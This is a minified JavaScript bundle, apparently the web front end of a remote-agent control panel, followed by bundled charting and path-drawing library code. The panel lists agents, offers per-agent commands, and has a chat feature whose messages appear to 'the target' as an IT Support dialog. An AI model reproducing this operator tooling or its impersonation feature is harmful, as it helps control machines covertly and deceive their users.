v(F=>{const U=F>0?F-1:_.length-1;return f(_[U].label),U});break}case"ArrowRight":case"Enter":{if(j&&K.key==="Enter"){K.preventDefault();const F=_.find(U=>U.label===d);F&&b>=0&&b<F.commands.length&&P(F.commands[b])}else!j&&d&&(K.preventDefault(),N(!0),w(0));break}case"ArrowLeft":{j&&(K.preventDefault(),N(!1),w(-1));break}case"Escape":{K.preventDefault(),j?(N(!1),w(-1)):i();break}default:{K.key.length===1&&!K.ctrlKey&&!K.metaKey&&!K.altKey&&((M=c.current)==null||M.focus());break}}};return document.addEventListener("keydown",R),()=>document.removeEventListener("keydown",R)},[n,S,d,j,y,b,i]),!n)return null;const A=(R,K)=>{k.current&&clearTimeout(k.current),k.current=setTimeout(()=>{f(R),v(K),N(!1),w(-1)},60)},T=()=>{k.current&&clearTimeout(k.current)},P=R=>{z&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},D=p.x+200+220>window.innerWidth,G=R=>R===0?!1:S[R].group!==S[R-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${v_[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${y_[s]}`,children:g_[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),S.map((R,K)=>a.jsxs(Oh.Fragment,{children:[G(K)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>A(R.label,K),onMouseLeave:T,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===K?z?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":z?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===R.label||y===K?z?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===K?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${D?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((_,M)=>{const F=z&&_.nav.action!=="remove"&&_.nav.action!=="ban",U=h_.has(_.key)||_.nav.action==="remove",V=x_.has(_.key)||_.nav.action==="ban",Z=p_.has(_.key),ae=j&&b===M;return a.jsxs("button",{onClick:()=>P(_),disabled:F,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${U?ae?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":V?ae?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":F?"cursor-not-allowed text-zerin-text-muted":ae?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:_.label}),Z&&!F&&sn.externalLink]},_.key)})]})]})]},R.label))]})]})})};function Dj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(gd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:w_(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r
|
||
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
|
||
transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r
|
||
transition-colors hover:bg-zerin-accent-hover\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function w_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const j_=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function Rj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=Rj(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}function Qe(){for(var e,t,n=0,r="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=Rj(e))&&(r&&(r+=" "),r+=t);return r}var N_=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOverCapture","onMouseUp","onMouseUpCapture","onSelect","onSelectCapture","onTouchCancel","onTouchCancelCapture","onTouchEnd","onTouchEndCapture","onTouchMove","onTouchMoveCapture","onTouchStart","onTouchStartCapture","onPointerDown","onPointerDownCapture","onPointerMove","onPointerMoveCapture","onPointerUp","onPointerUpCapture","onPointerCancel","onPointerCancelCapture","onPointerEnter","onPointerEnterCapture","onPointerLeave","onPointerLeaveCapture","onPointerOver","onPointerOverCapture","onPointerOut","onPointerOutCapture","onGotPointerCapture","onGotPointerCaptureCapture","onLostPointerCapture","onLostPointerCaptureCapture","onScroll","onScrollCapture","onWheel","onWheelCapture","onAnimationStart","onAnimationStartCapture","onAnimationEnd","onAnimationEndCapture","onAnimationIteration","onAnimationIterationCapture","onTransitionEnd","onTransitionEndCapture"];function Ax(e){if(typeof e!="string")return!1;var t=N_;return t.includes(e)}var k_=["aria-activedescendant","aria-atomic","aria-autocomplete","aria-busy","aria-checked","aria-colcount","aria-colindex","aria-colspan","aria-controls","aria-current","aria-describedby","aria-details","aria-disabled","aria-errormessage","aria-expanded","aria-flowto","aria-haspopup","aria-hidden","aria-invalid","aria-keyshortcuts","aria-label","aria-labelledby","aria-level","aria-live","aria-modal","aria-multiline","aria-multiselectable","aria-orientation","aria-owns","aria-placeholder","aria-posinset","aria-pressed","aria-readonly","aria-relevant","aria-required","aria-roledescription","aria-rowcount","aria-rowindex","aria-rowspan","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext","className","color","height","id","lang","max","media","method","min","name","style","target","width","role","tabIndex","accentHeight","accumulate","additive","alignmentBaseline","allowReorder","alphabetic","amplitude","arabicForm","ascent","attributeName","attributeType","autoReverse","azimuth","baseFrequency","baselineShift","baseProfile","bbox","begin","bias","by","calcMode","capHeight","clip","clipPath","clipPathUnits","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","contentScriptType","contentStyleType","cursor","cx","cy","d","decelerate","descent","diffuseConstant","direction","display","divisor","dominantBaseline","dur","dx","dy","edgeMode","elevation","enableBackground","end","exponent","externalResourcesRequired","fill","fillOpacity","fillRule","filter","filterRes","filterUnits","floodColor","floodOpacity","focusable","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","format","from","fx","fy","g1","g2","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","glyphRef","gradientTransform","gradientUnits","hanging","horizAdvX","horizOriginX","href","ideographic","imageRendering","in2","in","intercept","k1","k2","k3","k4","k","kernelMatrix","kernelUnitLength","kerning","keyPoints","keySplines","keyTimes","lengthAdjust","letterSpacing","lightingColor","limitingConeAngle","local","markerEnd","markerHeight","markerMid","markerStart","markerUnits","markerWidth","mask","maskContentUnits","maskUnits","mathematical","mode","numOctaves","offset","opacity","operator","order","orient","orientation","origin","overflow","overlinePosition","overlineThickness","paintOrder","panose1","pathLength","patternContentUnits","patternTransform","patternUnits","pointerEvents","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","r","radius","refX","refY","renderingIntent","repeatCount","repeatDur","requiredExtensions","requiredFeatures","restart","result","rotate","rx","ry","seed","shapeRendering","slope","spacing","specularConstant","specularExponent","speed","spreadMethod","startOffset","stdDeviation","stemh","stemv","stitchTiles","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","string","stroke","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","surfaceScale","systemLanguage","tableValues","targetX","targetY","textAnchor","textDecoration","textLength","textRendering","to","transform","u1","u2","underlinePosition","underlineThickness","unicode","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","values","vectorEffect","version","vertAdvY","vertOriginX","vertOriginY","vHanging","vIdeographic","viewTarget","visibility","vMathematical","widths","wordSpacing","writingMode","x1","x2","x","xChannelSelector","xHeight","xlinkActuate","xlinkArcrole","xlinkHref","xlinkRole","xlinkShow","xlinkTitle","xlinkType","xmlBase","xmlLang","xmlns","xmlnsXlink","xmlSpace","y1","y2","y","yChannelSelector","z","zoomAndPan","ref","key","angle"],z_=new Set(k_);function $j(e){return typeof e!="string"?!1:z_.has(e)}function Bj(e){return typeof e=="string"&&e.startsWith("data-")}function Mr(e){if(typeof e!="object"||e===null)return{};var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&($j(n)||Bj(n))&&(t[n]=e[n]);return t}function Do(e){if(e==null)return null;if(m.isValidElement(e)&&typeof e.props=="object"&&e.props!==null){var t=e.props;return Mr(t)}return typeof e=="object"&&!Array.isArray(e)?Mr(e):null}function Ut(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&($j(n)||Bj(n)||Ax(n))&&(t[n]=e[n]);return t}function S_(e){return e==null?null:m.isValidElement(e)?Ut(e.props):typeof e=="object"&&!Array.isArray(e)?Ut(e):null}var C_=["children","width","height","viewBox","className","style","title","desc"];function Lp(){return Lp=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Lp.apply(null,arguments)}function P_(e,t){if(e==null)return{};var n,r,i=E_(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function E_(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var Fj=m.forwardRef((e,t)=>{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=P_(e,C_),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Lp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),__=["children","className"];function Ip(){return Ip=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ip.apply(null,arguments)}function A_(e,t){if(e==null)return{};var n,r,i=O_(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function O_(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var tn=m.forwardRef((e,t)=>{var{children:n,className:r}=e,i=A_(e,__),s=Qe("recharts-layer",r);return m.createElement("g",Ip({className:s},Ut(i),{ref:t}),n)}),T_=m.createContext(null);function $e(e){return function(){return e}}const Wj=Math.cos,tu=Math.sin,Qn=Math.sqrt,nu=Math.PI,yd=2*nu,Dp=Math.PI,Rp=2*Dp,Fi=1e-6,M_=Rp-Fi;function Uj(e){this._+=e[0];for(let t=1,n=e.length;t<n;++t)this._+=arguments[t]+e[t]}function L_(e){let t=Math.floor(e);if(!(t>=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Uj;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;i<s;++i)this._+=Math.round(arguments[i]*n)/n+r[i]}}class I_{constructor(t){this._x0=this._y0=this._x1=this._y1=null,this._="",this._append=t==null?Uj:L_(t)}moveTo(t,n){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}`}closePath(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._append`Z`)}lineTo(t,n){this._append`L${this._x1=+t},${this._y1=+n}`}quadraticCurveTo(t,n,r,i){this._append`Q${+t},${+n},${this._x1=+r},${this._y1=+i}`}bezierCurveTo(t,n,r,i,s,o){this._append`C${+t},${+n},${+r},${+i},${this._x1=+s},${this._y1=+o}`}arcTo(t,n,r,i,s){if(t=+t,n=+n,r=+r,i=+i,s=+s,s<0)throw new Error(`negative radius: ${s}`);let o=this._x1,l=this._y1,c=r-t,u=i-n,d=o-t,f=l-n,p=d*d+f*f;if(this._x1===null)this._append`M${this._x1=t},${this._y1=n}`;else if(p>Fi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Dp-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Rp+Rp),p>M_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Dp)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new I_(t)}function Tx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Vj(e){this._context=e}Vj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function bd(e){return new Vj(e)}function Hj(e){return e[0]}function Kj(e){return e[1]}function Gj(e,t){var n=$e(!0),r=null,i=bd,s=null,o=Ox(l);e=typeof e=="function"?e:e===void 0?Hj:$e(e),t=typeof t=="function"?t:t===void 0?Kj:$e(t);function l(c){var u,d=(c=Tx(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u<d&&n(f=c[u],u,c))===p&&((p=!p)?s.lineStart():s.lineEnd()),p&&s.point(+e(f,u,c),+t(f,u,c));if(h)return s=null,h+""||null}return l.x=function(c){return arguments.length?(e=typeof c=="function"?c:$e(+c),l):e},l.y=function(c){return arguments.length?(t=typeof c=="function"?c:$e(+c),l):t},l.defined=function(c){return arguments.length?(n=typeof c=="function"?c:$e(!!c),l):n},l.curve=function(c){return arguments.length?(i=c,r!=null&&(s=i(r)),l):i},l.context=function(c){return arguments.length?(c==null?r=s=null:s=i(r=c),l):r},l}function Fl(e,t,n){var r=null,i=$e(!0),s=null,o=bd,l=null,c=Ox(u);e=typeof e=="function"?e:e===void 0?Hj:$e(+e),t=typeof t=="function"?t:$e(t===void 0?0:+t),n=typeof n=="function"?n:n===void 0?Kj:$e(+n);function u(f){var p,h,x,g=(f=Tx(f)).length,y,v=!1,b,w=new Array(g),j=new Array(g);for(s==null&&(l=o(b=c())),p=0;p<=g;++p){if(!(p<g&&i(y=f[p],p,f))===v)if(v=!v)h=p,l.areaStart(),l.lineStart();else{for(l.lineEnd(),l.lineStart(),x=p-1;x>=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return Gj().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class Yj{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function D_(e){return new Yj(e,!0)}function R_(e){return new Yj(e,!1)}const Mx={draw(e,t){const n=Qn(t/nu);e.moveTo(n,0),e.arc(0,0,n,0,yd)}},$_={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},qj=Qn(1/3),B_=qj*2,F_={draw(e,t){const n=Qn(t/B_),r=n*qj;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},W_={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},U_=.8908130915292852,Xj=tu(nu/10)/tu(7*nu/10),V_=tu(yd/10)*Xj,H_=-Wj(yd/10)*Xj,K_={draw(e,t){const n=Qn(t*U_),r=V_*n,i=H_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const 